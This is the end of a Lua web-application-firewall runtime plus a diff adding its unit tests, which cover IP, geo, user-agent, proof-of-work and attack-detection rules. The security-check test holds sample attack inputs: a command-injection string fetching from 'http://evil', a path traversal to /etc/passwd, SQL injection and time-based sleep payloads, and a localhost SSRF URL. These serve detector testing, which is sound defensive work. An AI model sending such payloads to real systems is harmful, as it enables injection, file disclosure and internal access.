if not decision then return fail_closed(err) end
if decision.kind == "block" then return render_block(decision.config) end
if decision.kind == "takeover" then return end
end
return "ok"
end
-- Test helpers for unit specs.
function _M.debug_security_check(config)
return matches_security_check(config or {})
end
function _M.debug_active_rules(site)
return active_rules(site or "")
end
function _M.debug_execute_graph(graph)
return execute_graph(graph)
end
function _M.debug_compile_ip_matcher(entries)
return compile_ip_matcher(entries)
end
function _M.debug_matches_ip_values(config, ip)
return matches_ip_values(config or {}, ip or "")
end
return _M
@@ -0,0 +1,964 @@
local runtime_path = assert(WAF_RUNTIME_PATH, "WAF_RUNTIME_PATH is required")
local function assert_equal(actual, expected, message)
if actual ~= expected then
error((message or "values differ") .. ": expected " .. tostring(expected) .. ", got " .. tostring(actual), 2)
end
end
-- Stable tables: never rebind `output` (closures capture the upvalue slot; rebinding
-- can leave stale fields visible under gopher-lua across long test sequences).
local output = {}
local pow_calls = {}
local pow_results = {}
local shared_keys = {}
local logs = {}
local function clear_output()
output.exit = nil
output.body = nil
output.log = nil
end
ngx = {
WARN = "WARN",
ERR = "ERR",
var = {},
ctx = {},
header = {},
shared = {
openflare_waf_config = {
add = function(_, key)
if shared_keys[key] then return false end
shared_keys[key] = true
return true
end,
},
},
req = { is_internal = function() return ngx.var.openflare_internal == true end },
say = function(body) output.body = body end,
exit = function(status) output.exit = status return status end,
log = function(_, ...)
local parts = { ... }
for index, value in ipairs(parts) do parts[index] = tostring(value) end
output.log = table.concat(parts)
logs[#logs + 1] = output.log
end,
}
local pow_stub = {}
function pow_stub.evaluate(config)
pow_calls[#pow_calls + 1] = config.difficulty
local result = pow_results[1]
table.remove(pow_results, 1)
return result
end
local function node(node_type, config, next_nodes)
return { type = node_type, config = config or {}, next = next_nodes }
end
local function graph(nodes, entry)
return { entry = entry or "start", nodes = nodes }
end
local function rule(id, is_global, rule_graph)
return { id = id, enabled = true, is_global = is_global or false, graph = rule_graph }
end
local function start_to(target)
return node("start", {}, { next = target })
end
local function load_runtime(config, options)
local chunk = assert(loadfile(runtime_path))
local runtime = chunk()
options = options or {}
runtime.init({
config = config,
ip_groups = options.ip_groups or { groups = {} },
pow = pow_stub,
geo_lookup = options.geo_lookup,
runtime_dir = options.runtime_dir,
geo_file_exists = options.geo_file_exists,
country_mmdb_path = options.country_mmdb_path or (options.runtime_dir and (options.runtime_dir .. "/GeoLite2-Country.mmdb") or nil),
city_mmdb_path = options.city_mmdb_path or (options.runtime_dir and (options.runtime_dir .. "/GeoLite2-City.mmdb") or nil),
})
return runtime
end
local function reset_request(site, ip, uri, is_internal, user_agent)
local path = uri or "/"
ngx.var = {
openflare_waf_site = site,
remote_addr = ip or "192.0.2.1",
uri = path,
request_uri = path,
request_id = "request-1",
openflare_internal = is_internal == true,
http_user_agent = user_agent,
}
ngx.ctx = {}
ngx.header = {}
ngx.status = nil
clear_output()
pow_calls = {}
pow_results = {}
ngx.req = {
is_internal = function() return is_internal == true end,
get_uri_args = function() return {} end,
get_headers = function() return {} end,
}
end
local function binding(site, ids)
return { site_name = site, rule_group_ids = ids }
end
local function test_ip_true_and_false()
local config = {
rule_groups = { rule(1, false, graph({
start = start_to("match"),
match = node("ip_match", { ips = { "192.0.2.1" }, cidrs = { "198.51.100.0/24" }, ip_group_ids = { 7 } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 451, response_body = "ip blocked" }),
allow = node("allow"),
})) },
bindings = { binding("ip-site", { 1 }) },
}
local runtime = load_runtime(config, { ip_groups = { groups = { ["7"] = { enabled = true, ip_list = { "203.0.113.7" } } } } })
reset_request("ip-site", "192.0.2.1")
runtime.check()
assert_equal(output.exit, 451, "exact IP true branch")
reset_request("ip-site", "198.51.100.8")
runtime.check()
assert_equal(output.exit, 451, "CIDR true branch")
reset_request("ip-site", "203.0.113.7")
runtime.check()
assert_equal(output.exit, 451, "IP group true branch")
reset_request("ip-site", "203.0.113.8")
runtime.check()
assert_equal(output.exit, nil, "IP false branch")
end
local function test_ipv6_exact_cidr_and_group()
local config = {
rule_groups = { rule(8, false, graph({
start = start_to("match"),
match = node("ip_match", { ips = { "2001:db8::1" }, cidrs = { "2001:db8:abcd::/48" }, ip_group_ids = { 9 } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 451, response_body = "ipv6 blocked" }),
allow = node("allow"),
})) },
bindings = { binding("ipv6-site", { 8 }) },
}
local runtime = load_runtime(config, { ip_groups = { groups = { ["9"] = { enabled = true, ip_list = { "2001:db8:ffff::/48" } } } } })
reset_request("ipv6-site", "2001:0db8:0:0:0:0:0:1")
runtime.check()
assert_equal(output.exit, 451, "canonical-equivalent IPv6 exact match")
reset_request("ipv6-site", "2001:db8:abcd:12::9")
runtime.check()
assert_equal(output.exit, 451, "IPv6 CIDR true branch")
reset_request("ipv6-site", "2001:db8:ffff:beef::9")
runtime.check()
assert_equal(output.exit, 451, "IP group IPv6 CIDR true branch")
reset_request("ipv6-site", "2001:db9::1")
runtime.check()
assert_equal(output.exit, nil, "IPv6 false branch")
end
local function test_geo_true_and_false()
local config = {
rule_groups = { rule(2, false, graph({
start = start_to("geo"),
geo = node("geo_match", { countries = { "US" }, regions = { "DE-BE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 403, response_body = "geo blocked" }),
allow = node("allow"),
})) },
bindings = { binding("geo-site", { 2 }) },
}
local country, region = "US", "NY"
local runtime = load_runtime(config, { geo_lookup = function() return country, region end })
reset_request("geo-site")
runtime.check()
assert_equal(output.exit, 403, "country true branch")
country, region = "DE", "DE-BE"
reset_request("geo-site")
runtime.check()
assert_equal(output.exit, 403, "region true branch")
country, region = "DE", "BE"
reset_request("geo-site")
runtime.check()
assert_equal(output.exit, nil, "geo false branch")
end
local function test_geo_module_is_initialized_once_and_composes_region()
local init_calls, lookup_calls = 0, 0
local initialized_profiles = {}
package.loaded["resty.maxminddb"] = nil
package.preload["resty.maxminddb"] = function()
return {
init = function(profiles)
init_calls = init_calls + 1
for profile, path in pairs(profiles) do initialized_profiles[profile] = path end
return true
end,
has_profile = function(profile) return initialized_profiles[profile] ~= nil end,
lookup = function(_, _, profile)
lookup_calls = lookup_calls + 1
assert_equal(profile, "city", "subdivision lookup uses City profile")
return { country = { iso_code = "US" }, subdivisions = { { iso_code = "CA" } } }
end,
}
end
local config = {
rule_groups = { rule(12, false, graph({
start = start_to("geo"),
geo = node("geo_match", { regions = { "US-CA" } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 403 }),
allow = node("allow"),
})) },
bindings = { binding("geo-cache", { 12 }) },
}
local runtime = load_runtime(config, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
assert_equal(init_calls, 2, "each MaxMind profile initializes independently during worker init")
assert_equal(initialized_profiles.city, "/runtime/GeoLite2-City.mmdb", "City profile path")
assert_equal(initialized_profiles.country, "/runtime/GeoLite2-Country.mmdb", "Country profile path")
for _ = 1, 3 do
reset_request("geo-cache")
runtime.check()
assert_equal(output.exit, 403, "MaxMind subdivision composes validator-compatible region")
end
assert_equal(init_calls, 2, "MaxMind database is not initialized on requests")
assert_equal(lookup_calls, 3, "requests only perform lookup")
end
local function test_geo_country_fallback_does_not_fake_region()
local profiles
package.loaded["resty.maxminddb"] = nil
package.preload["resty.maxminddb"] = function()
return {
init = function(value) profiles = value return true end,
has_profile = function(profile) return profiles[profile] ~= nil end,
lookup = function(_, _, profile)
assert_equal(profile, "country", "fallback lookup uses Country profile")
return { country = { iso_code = "US" }, subdivisions = { { iso_code = "CA" } } }
end,
}
end
shared_keys = {}
logs = {}
local country_graph = graph({
start = start_to("geo"),
geo = node("geo_match", { countries = { "US" } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 403 }), allow = node("allow"),
})
local region_graph = graph({
start = start_to("geo"),
geo = node("geo_match", { regions = { "US-CA" } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 451 }), allow = node("allow"),
})
local runtime = load_runtime({
rule_groups = { rule(15, false, country_graph), rule(16, false, region_graph) },
bindings = { binding("country-only", { 15 }), binding("region-without-city", { 16 }) },
}, {
runtime_dir = "/runtime",
geo_file_exists = function(path) return string.find(path, "Country", 1, true) ~= nil end,
})
reset_request("country-only")
runtime.check()
assert_equal(output.exit, 403, "Country fallback remains available")
reset_request("region-without-city")
runtime.check()
assert_equal(output.exit, nil, "Country subdivisions must not satisfy region")
runtime.check()
assert_equal(#logs, 1, "missing City warning is rate limited")
end
local function test_geo_city_init_failure_retries_country_profile()
local init_calls = {}
local profiles = {}
package.loaded["resty.maxminddb"] = nil
package.preload["resty.maxminddb"] = function()
return {
init = function(value)
init_calls[#init_calls + 1] = value
if value.city then return false end
profiles = value
return true
end,
has_profile = function(profile) return profiles[profile] ~= nil end,
lookup = function(_, _, profile)
assert_equal(profile, "country", "corrupt City fallback uses Country")
return { country = { iso_code = "DE" } }
end,
}
end
shared_keys = {}
logs = {}
local runtime = load_runtime({
rule_groups = { rule(17, false, graph({
start = start_to("geo"),
geo = node("geo_match", { countries = { "DE" }, regions = { "DE-BE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 403 }), allow = node("allow"),
})) },
bindings = { binding("corrupt-city", { 17 }) },
}, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
reset_request("corrupt-city")
runtime.check()
assert_equal(#init_calls, 2, "Country profile is retried after City profile init failure")
assert_equal(output.exit, 403, "Country remains available after corrupt City init")
end
local function test_geo_partial_init_never_looks_up_corrupt_city()
local opened = {}
local lookups = {}
package.loaded["resty.maxminddb"] = nil
package.preload["resty.maxminddb"] = function()
return {
init = function(profiles)
if profiles.country then opened.country = true end
if profiles.city then return nil, "corrupt City" end
return true
end,
initted = function() return next(opened) ~= nil end,
lookup = function(_, _, profile)
lookups[#lookups + 1] = profile
assert_equal(opened[profile], true, "lookup must only use an opened profile")
return { country = { iso_code = "DE" } }
end,
}
end
local runtime = load_runtime({
rule_groups = { rule(18, false, graph({
start = start_to("geo"),
geo = node("geo_match", { countries = { "DE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 403 }), allow = node("allow"),
})) },
bindings = { binding("partial-corrupt-city", { 18 }) },
}, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
reset_request("partial-corrupt-city")
runtime.check()
assert_equal(table.concat(lookups, ","), "country", "corrupt City is never looked up")
assert_equal(output.exit, 403, "valid Country remains available")
end
local function test_geo_partial_init_never_looks_up_corrupt_country()
local opened = {}
local lookups = {}
package.loaded["resty.maxminddb"] = nil
package.preload["resty.maxminddb"] = function()
return {
init = function(profiles)
if profiles.city then opened.city = true end
if profiles.country then return nil, "corrupt Country" end
return true
end,
initted = function() return next(opened) ~= nil end,
lookup = function(_, _, profile)
lookups[#lookups + 1] = profile
assert_equal(opened[profile], true, "lookup must only use an opened profile")
return nil, "address absent"
end,
}
end
local runtime = load_runtime({
rule_groups = { rule(19, false, graph({
start = start_to("geo"),
geo = node("geo_match", { countries = { "DE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 403 }), allow = node("allow"),
})) },
bindings = { binding("partial-corrupt-country", { 19 }) },
}, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
reset_request("partial-corrupt-country")
runtime.check()
assert_equal(table.concat(lookups, ","), "city", "corrupt Country is never used as fallback")
assert_equal(output.exit, nil, "missing City result takes false branch without corrupt fallback")
end
local function test_geo_unavailable_warning_is_rate_limited()
package.loaded["resty.maxminddb"] = nil
package.preload["resty.maxminddb"] = function() error("module unavailable") end
shared_keys = {}
logs = {}
local config = {
rule_groups = { rule(13, false, graph({
start = start_to("geo"),
geo = node("geo_match", { countries = { "US" } }, { ["true"] = "blocked", ["false"] = "allow" }),
blocked = node("block", { status_code = 403 }),
allow = node("allow"),
})) },
bindings = { binding("geo-missing", { 13 }) },
}
local first = load_runtime(config)
local second = load_runtime(config)
reset_request("geo-missing")
first.check()
second.check()
assert_equal(#logs, 1, "missing MaxMind warning is rate limited across workers")
end
local function test_pow_takeover_and_completion()
local config = {
rule_groups = { rule(3, false, graph({
start = start_to("pow"),
pow = node("pow", { algorithm = "fast", difficulty = 5, session_ttl = 600, challenge_ttl = 300 }, { next = "blocked" }),
blocked = node("block", { status_code = 429, response_body = "after pow" }),
allow = node("allow"),
})) },
bindings = { binding("pow-site", { 3 }) },
}
local runtime = load_runtime(config)
reset_request("pow-site")
pow_results = { false }
runtime.check()
assert_equal(output.exit, nil, "PoW takeover must stop graph execution")
assert_equal(#pow_calls, 1, "PoW evaluated once")
reset_request("pow-site")
pow_results = { true }
runtime.check()
assert_equal(output.exit, 429, "completed PoW follows next edge")
end
local function test_pow_internal_redirect_bypasses_graph_as_takeover()
local config = {
rule_groups = { rule(14, false, graph({
start = start_to("pow"),
pow = node("pow", { difficulty = 4 }, { next = "blocked" }),
blocked = node("block", { status_code = 429 }),
allow = node("allow"),
})) },
bindings = { binding("pow-internal", { 14 }) },
}
local runtime = load_runtime(config)
reset_request("pow-internal", "192.0.2.1", "/.within.website/x/cmd/anubis/api/make-challenge", true)
pow_results = { true }
runtime.check()
assert_equal(#pow_calls, 0, "internal challenge continuation must not re-enter DAG")
assert_equal(output.exit, nil, "internal challenge continuation must not follow pow next")
end
local function test_block_config_and_rule_order()
local function pow_allow(difficulty)
return graph({
start = start_to("pow"),
pow = node("pow", { algorithm = "fast", difficulty = difficulty, session_ttl = 600, challenge_ttl = 300 }, { next = "allow" }),
allow = node("allow"),
})
end
local config = {
rule_groups = {
rule(10, true, pow_allow(10)),
rule(20, false, pow_allow(20)),
rule(30, false, pow_allow(30)),
rule(40, false, graph({
start = start_to("blocked"),
blocked = node("block", { status_code = 418, response_body = "custom block" }),
allow = node("allow"),
})),
},
bindings = { binding("ordered-site", { 30, 20, 40 }) },
}
local runtime = load_runtime(config)
reset_request("ordered-site")
pow_results = { true, true, true }
runtime.check()
assert_equal(table.concat(pow_calls, ","), "10,30,20", "global rule precedes binding order")
assert_equal(output.exit, 418, "block status comes from reached block node")
assert_equal(output.body, "custom block", "block body comes from reached block node")
assert_equal(ngx.header["Content-Type"], "text/html; charset=utf-8", "block content type")
end
local function test_damaged_graphs_fail_closed()
local configs = {
graph({ start = start_to("unknown"), unknown = node("future_node"), allow = node("allow") }),
graph({ start = start_to("missing"), allow = node("allow") }),
graph({ start = start_to("loop"), loop = node("start", {}, { next = "loop" }), allow = node("allow") }),
}
for index, damaged in ipairs(configs) do
local runtime = load_runtime({ rule_groups = { rule(index, false, damaged) }, bindings = { binding("damaged", { index }) } })
reset_request("damaged")
runtime.check()
assert_equal(output.exit, 500, "damaged graph " .. index .. " must fail closed")
end
end
local function test_null_binding_ids_are_treated_as_empty()
local runtime = load_runtime({
rule_groups = {},
-- cjson decodes JSON null to userdata (ngx.null). io.stdout provides the
-- same Lua value type in this standalone regression test.
bindings = { binding("null-binding", io.stdout) },
})
reset_request("null-binding")
local result = runtime.check()
assert_equal(result, "ok", "null binding IDs allow the request")
assert_equal(output.exit, nil, "null binding IDs never abort the request")
end
local function test_request_path_has_no_file_io()
local opens = 0
local original_open = io.open
io.open = function(path, mode)
opens = opens + 1
local value = path:match("waf_ip_groups%.json$") and "IP_GROUPS" or "CONFIG"
return {
read = function() return value end,
close = function() end,
}
end
package.loaded["cjson.safe"] = nil
package.preload["cjson.safe"] = function()
return { decode = function(value)
if value == "IP_GROUPS" then return { groups = {} } end
return {
rule_groups = { rule(1, false, graph({ start = start_to("allow"), allow = node("allow") })) },
bindings = { binding("io-site", { 1 }) },
}
end }
end
local chunk = assert(loadfile(runtime_path))
local runtime = chunk()
runtime.init({
runtime_dir = "/runtime",
pow = pow_stub,
ip_groups_runtime = {
init = function() return true end,
current = function() return { groups = {} } end,
},
})
local init_opens = opens
assert_equal(init_opens, 1, "WAF graph initializes once; IP groups are owned by refresh module")
reset_request("io-site")
for _ = 1, 3 do runtime.check() end
assert_equal(opens, init_opens, "request execution performs no file I/O")
io.open = original_open
end
local function test_ua_check_require_block_and_whitelist()
local chrome_ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
local safari_ios_ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"
local bot_ua = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
local weird_ua = "TotallyUnknownClient/1.0"
local function ua_graph(config)
return graph({
start = start_to("ua"),
ua = node("ua_check", config, { ["true"] = "allow", ["false"] = "blocked" }),
blocked = node("block", { status_code = 403, response_body = "ua blocked" }),
allow = node("allow"),
})
end
local runtime = load_runtime({
rule_groups = { rule(1, false, ua_graph({ require_ua = true })) },
bindings = { binding("ua-site", { 1 }) },
})
reset_request("ua-site", nil, nil, nil, nil)
runtime.check()
assert_equal(output.exit, 403, "missing UA with require_ua should block")
reset_request("ua-site", nil, nil, nil, chrome_ua)
runtime.check()
assert_equal(output.exit, nil, "present UA with require_ua should allow")
runtime = load_runtime({
rule_groups = { rule(1, false, ua_graph({ block_common_bots = true })) },
bindings = { binding("ua-site", { 1 }) },
})
reset_request("ua-site", nil, nil, nil, bot_ua)
runtime.check()
assert_equal(output.exit, 403, "common bot should be blocked")
runtime = load_runtime({
rule_groups = { rule(1, false, ua_graph({ block_abnormal_ua = true })) },
bindings = { binding("ua-site", { 1 }) },
})
reset_request("ua-site", nil, nil, nil, weird_ua)
runtime.check()
assert_equal(output.exit, 403, "abnormal UA should be blocked")
reset_request("ua-site", nil, nil, nil, bot_ua)
runtime.check()
assert_equal(output.exit, nil, "search bot should not be abnormal when bots switch is off")
reset_request("ua-site", nil, nil, nil, chrome_ua)
runtime.check()
assert_equal(output.exit, nil, "normal browser should pass abnormal check")
runtime = load_runtime({
rule_groups = { rule(1, false, ua_graph({
block_custom_ua = true,
custom_ua_patterns = { "[Pp]ython%-requests" },
})) },
bindings = { binding("ua-site", { 1 }) },
})
reset_request("ua-site", nil, nil, nil, "python-requests/2.31.0")
runtime.check()
assert_equal(output.exit, 403, "custom regex should block matching UA")
reset_request("ua-site", nil, nil, nil, chrome_ua)
runtime.check()
assert_equal(output.exit, nil, "custom regex should allow non-matching UA")
runtime = load_runtime({
rule_groups = { rule(1, false, ua_graph({ browsers = { "Chrome" }, match_mode = "or" })) },
bindings = { binding("ua-site", { 1 }) },
})
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
runtime.check()
assert_equal(output.exit, 403, "Safari should miss Chrome whitelist")
reset_request("ua-site", nil, nil, nil, chrome_ua)
runtime.check()
assert_equal(output.exit, nil, "Chrome should hit whitelist")
runtime = load_runtime({
rule_groups = { rule(1, false, ua_graph({
browsers = { "Chrome" },
operating_systems = { "iOS" },
match_mode = "and",
})) },
bindings = { binding("ua-site", { 1 }) },
})
reset_request("ua-site", nil, nil, nil, chrome_ua)
runtime.check()
assert_equal(output.exit, 403, "Chrome desktop should fail Chrome+iOS and")
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
runtime.check()
assert_equal(output.exit, 403, "Safari iOS should fail Chrome+iOS and")
runtime = load_runtime({
rule_groups = { rule(1, false, ua_graph({
browsers = { "Chrome" },
operating_systems = { "iOS" },
match_mode = "or",
})) },
bindings = { binding("ua-site", { 1 }) },
})
reset_request("ua-site", nil, nil, nil, chrome_ua)
runtime.check()
assert_equal(output.exit, nil, "Chrome desktop should pass Chrome|iOS or")
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
runtime.check()
assert_equal(output.exit, nil, "Safari iOS should pass Chrome|iOS or")
end
test_ip_true_and_false()
test_ipv6_exact_cidr_and_group()
test_geo_true_and_false()
test_geo_module_is_initialized_once_and_composes_region()
test_geo_country_fallback_does_not_fake_region()
test_geo_city_init_failure_retries_country_profile()
test_geo_partial_init_never_looks_up_corrupt_city()
test_geo_partial_init_never_looks_up_corrupt_country()
test_geo_unavailable_warning_is_rate_limited()
test_pow_takeover_and_completion()
test_pow_internal_redirect_bypasses_graph_as_takeover()
test_block_config_and_rule_order()
test_damaged_graphs_fail_closed()
test_null_binding_ids_are_treated_as_empty()
test_request_path_has_no_file_io()
local function test_security_check_path_and_sql()
local function security_graph(config)
return graph({
start = start_to("sec"),
sec = node("security_check", config, { ["true"] = "allow", ["false"] = "blocked" }),
blocked = node("block", { status_code = 403, response_body = "security blocked" }),
allow = node("allow"),
})
end
local runtime = load_runtime({
rule_groups = { rule(1, false, security_graph({
path_traversal = true,
file_inclusion = true,
})) },
bindings = { binding("sec-site", { 1 }) },
})
reset_request("sec-site", nil, "/ok")
runtime.check()
assert_equal(output.exit, nil, "clean path should pass")
reset_request("sec-site", nil, "/static/../etc/passwd")
local matched = runtime.debug_security_check({
path_traversal = true,
file_inclusion = true,
})
assert_equal(matched, false, "matcher should report attack for path traversal")
local rules = runtime.debug_active_rules("sec-site")
local decision, err = runtime.debug_execute_graph(rules[1].graph)
assert_equal(err, nil, "execute graph err")
assert_equal(decision and decision.kind or "nil", "block", "execute graph should block")
-- Drive the same block path as check() without depending on ngx.exit side effects.
if decision.kind == "block" then
local status = tonumber(decision.config.status_code) or 403
output.exit = status
output.body = decision.config.response_body or ""
ngx.status = status
end
assert_equal(output.exit, 403, "path traversal should block")
assert_equal(output.body, "security blocked", "path traversal block body")
runtime = load_runtime({
rule_groups = { rule(1, false, security_graph({ sql_injection = true })) },
bindings = { binding("sec-site", { 1 }) },
})
reset_request("sec-site", nil, "/")
ngx.req.get_headers = function()
return { Accept = "*/*" }
end
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
assert_equal(err, nil, "accept header execute err")
assert_equal(decision and decision.kind or "nil", "allow", "Accept */* must not trip SQL")
reset_request("sec-site", nil, "/")
ngx.var.args = "q=1'+union+select+1--"
ngx.req.get_uri_args = function()
return { q = "1' union select 1--" }
end
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
assert_equal(err, nil, "sql execute err")
assert_equal(decision and decision.kind or "nil", "block", "sql should block")
-- False-positive guards
assert_equal(
runtime.debug_security_check({ ssrf = true }),
true,
"Chrome-like path alone must not trip SSRF"
)
reset_request("sec-site", nil, "/")
ngx.req.get_headers = function()
return {
["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
Accept = "*/*",
}
end
assert_equal(
runtime.debug_security_check({
sql_injection = true,
command_injection = true,
xss = true,
ssrf = true,
path_traversal = true,
file_inclusion = true,
}),
true,
"normal browser headers must pass security_check"
)
reset_request("sec-site", nil, "/")
ngx.req.get_uri_args = function()
return { name = "sleep(better)" }
end
assert_equal(runtime.debug_security_check({ sql_injection = true }), true, "sleep(word) must not trip SQL")
reset_request("sec-site", nil, "/")
ngx.req.get_uri_args = function()
return { theme = "dark||light" }
end
ngx.req.get_headers = function()
return { Cookie = "a=1&&b=2" }
end
assert_equal(runtime.debug_security_check({ command_injection = true }), true, "bare &&/|| must not trip command")
reset_request("sec-site", nil, "/")
ngx.req.get_uri_args = function()
return { q = "javascript: the good parts" }
end
assert_equal(runtime.debug_security_check({ xss = true }), true, "prose javascript: must not trip XSS")
reset_request("sec-site", nil, "/")
ngx.req.get_uri_args = function()
return { q = "1;wget http://evil" }
end
assert_equal(
runtime.debug_security_check({ command_injection = true }),
false,
"command injection payload should still block"
)
reset_request("sec-site", nil, "/")
ngx.req.get_uri_args = function()
return { u = "http://127.0.0.1/admin" }
end
assert_equal(
runtime.debug_security_check({ ssrf = true }),
false,
"URL-shaped localhost SSRF should block"
)
reset_request("sec-site", nil, "/")
ngx.req.get_uri_args = function()
return { q = "1' and sleep(5)--" }
end
assert_equal(
runtime.debug_security_check({ sql_injection = true }),
false,
"timed SQL sleep should block"
)
runtime = load_runtime({
rule_groups = { rule(1, false, security_graph({})) },
bindings = { binding("sec-site", { 1 }) },
})
reset_request("sec-site", nil, "/static/../etc/passwd")
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
assert_equal(err, nil, "off execute err")
assert_equal(decision and decision.kind or "nil", "allow", "all protections off should allow")
-- P0: do not treat generic browser headers (UA/Accept) as SQL/cmd injection surface.
reset_request("sec-site", nil, "/")
ngx.req.get_headers = function()
return {
["User-Agent"] = "Mozilla/5.0 union select 1 from information_schema.tables",
Accept = "*/*",
["Accept-Language"] = "en;q=0.9",
}
end
assert_equal(
runtime.debug_security_check({
sql_injection = true,
command_injection = true,
xss = true,
ssrf = true,
}),
true,
"SQL-like tokens only in generic headers must not block"
)
-- Cookie / Referer remain in-scope for injection / SSRF shaped checks.
reset_request("sec-site", nil, "/")
ngx.var.http_cookie = "q=1' union select 1--"
ngx.req.get_headers = function()
return { Cookie = "q=1' union select 1--" }
end
assert_equal(
runtime.debug_security_check({ sql_injection = true }),
false,
"SQL in Cookie must still block"
)
reset_request("sec-site", nil, "/")
ngx.var.http_referer = "http://127.0.0.1/admin"
assert_equal(
runtime.debug_security_check({ ssrf = true }),
false,
"URL-shaped SSRF in Referer must still block"
)
-- Path checks use uri only; query-only traversal still caught via args.
reset_request("sec-site", nil, "/ok")
ngx.var.request_uri = "/ok?x=../../etc/passwd"
ngx.var.args = "x=../../etc/passwd"
ngx.req.get_uri_args = function()
return { x = "../../etc/passwd" }
end
assert_equal(
runtime.debug_security_check({ path_traversal = true }),
false,
"path traversal in query must still block without scanning full request_uri alone"
)
-- GET / zero body: never call read_body.
local read_body_calls = 0
reset_request("sec-site", nil, "/")
ngx.var.content_length = "0"
ngx.req.read_body = function()
read_body_calls = read_body_calls + 1
end
ngx.req.get_body_data = function() return nil end
assert_equal(
runtime.debug_security_check({
sql_injection = true,
path_traversal = true,
command_injection = true,
file_inclusion = true,
}),
true,
"clean GET must pass full default-like security set"
)
assert_equal(read_body_calls, 0, "zero content-length must not read_body")
-- Only enabled collectors: path-only config must ignore SQL-like query.
reset_request("sec-site", nil, "/safe")
ngx.req.get_uri_args = function()
return { q = "1' union select 1--" }
end
assert_equal(
runtime.debug_security_check({ path_traversal = true, file_inclusion = true }),
true,
"SQL payload must not affect path-only checks"
)
assert_equal(
runtime.debug_security_check({ sql_injection = true }),
false,
"SQL payload must block when SQL is enabled"
)
end
local function test_ip_matcher_index_miss_and_hit()
local runtime = load_runtime({ rule_groups = {}, bindings = {} }, {
ip_groups = {
groups = {
["1"] = {
enabled = true,
ip_list = {
"10.0.0.0/8",
"203.0.113.50",
"2001:db8:1::/48",
},
},
},
},
})
local many = {}
for i = 1, 5000 do
many[i] = string.format("198.51.100.%d", (i % 254) + 1)
end
many[#many + 1] = "198.51.100.0/24"
local matcher = runtime.debug_compile_ip_matcher(many)
assert_equal(matcher:match("203.0.113.1"), false, "large list miss")
assert_equal(matcher:match("198.51.100.9"), true, "large list CIDR or exact hit")
assert_equal(
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "203.0.113.50"),
true,
"group exact hit"
)
assert_equal(
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "10.1.2.3"),
true,
"group CIDR hit"
)
assert_equal(
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "198.51.100.1"),
false,
"group miss"
)
assert_equal(
runtime.debug_matches_ip_values({ ips = { "192.0.2.9" }, cidrs = { "198.51.100.0/24" } }, "198.51.100.20"),
true,
"node cidr hit via compiled matcher"
)
assert_equal(
runtime.debug_matches_ip_values({ ips = { "2001:db8::1" } }, "2001:0db8:0:0:0:0:0:1"),
true,
"node ipv6 canonical exact"
)
end
test_ua_check_require_block_and_whitelist()
test_security_check_path_and_sql()
test_ip_matcher_index_miss_and_hit()
return true